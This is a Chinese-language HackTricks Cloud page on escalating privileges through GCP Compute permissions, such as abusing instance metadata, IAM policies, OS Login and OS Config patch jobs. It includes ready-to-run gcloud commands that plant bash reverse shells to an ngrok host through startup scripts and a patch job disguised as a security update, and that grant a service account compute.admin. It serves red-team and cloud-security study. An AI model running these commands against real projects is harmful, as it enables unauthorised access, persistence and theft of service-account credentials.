GCP - 计算权限提升
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
计算
有关 GCP 中计算和 VPC(网络)的更多信息,请查看:
Caution
请注意,要执行所有需要修改实例元数据的权限提升攻击(如添加新用户和 SSH 密钥),您需要对附加到实例的服务账户具有
actAs权限,即使服务账户已经附加!
compute.projects.setCommonInstanceMetadata
凭借该权限,您可以修改一个实例的元数据信息,并更改用户的授权密钥,或创建一个具有 sudo 权限的新用户。因此,您将能够通过 SSH 进入任何 VM 实例并窃取实例正在运行的 GCP 服务账户。
限制:
- 请注意,默认情况下,在 VM 实例中运行的 GCP 服务账户具有非常有限的范围
- 您需要能够联系 SSH 服务器以登录
有关如何利用此权限的更多信息,请查看:
您还可以通过添加新的启动脚本并重启实例来执行此攻击:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
此权限赋予与之前权限相同的特权,但仅针对特定实例,而不是整个项目。与前一部分相同的漏洞和限制适用。
compute.instances.setIamPolicy
这种权限将允许您授予自己具有之前权限的角色,并通过滥用这些权限来提升特权。以下是将 roles/compute.admin 添加到服务账户的示例:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
如果OSLogin在实例中启用,使用此权限您可以直接运行**gcloud compute ssh [INSTANCE]并连接到实例。您在实例内没有root权限**。
Tip
为了成功使用此权限登录到VM实例,您需要对附加到VM的SA拥有
iam.serviceAccounts.actAs权限。
compute.instances.osAdminLogin
如果OSLogin在实例中启用,使用此权限您可以直接运行**gcloud compute ssh [INSTANCE]并连接到实例。您将在实例内拥有root权限**。
Tip
为了成功使用此权限登录到VM实例,您需要对附加到VM的SA拥有
iam.serviceAccounts.actAs权限。
compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp
可以创建一个分配了服务账户的虚拟机并窃取该服务账户的令牌,通过访问元数据来提升权限。
此方法的利用脚本可以在这里找到。
osconfig.patchDeployments.create | osconfig.patchJobs.exec
如果您拥有**osconfig.patchDeployments.create或osconfig.patchJobs.exec**权限,您可以创建一个补丁作业或部署。这将使您能够在环境中横向移动,并在项目内的所有计算实例上获得代码执行权限。
请注意,目前您不需要对附加到实例的SA拥有actAs权限。
如果您想手动利用此功能,您需要创建一个补丁作业或部署**。
要运行补丁作业:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
要部署补丁部署:
gcloud compute os-config patch-deployments create <name> ...
该工具 patchy 过去可以用于利用此错误配置(但现在无法使用)。
攻击者还可以利用此进行持久性攻击。
compute.machineImages.setIamPolicy
授予自己额外权限 以访问计算镜像。
compute.snapshots.setIamPolicy
授予自己额外权限 以访问磁盘快照。
compute.disks.setIamPolicy
授予自己额外权限 以访问磁盘。
绕过访问范围
通过此链接,您可以找到一些 尝试绕过访问范围的想法。
GCP 计算实例中的本地权限提升
GCP - local privilege escalation ssh pivoting
参考
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

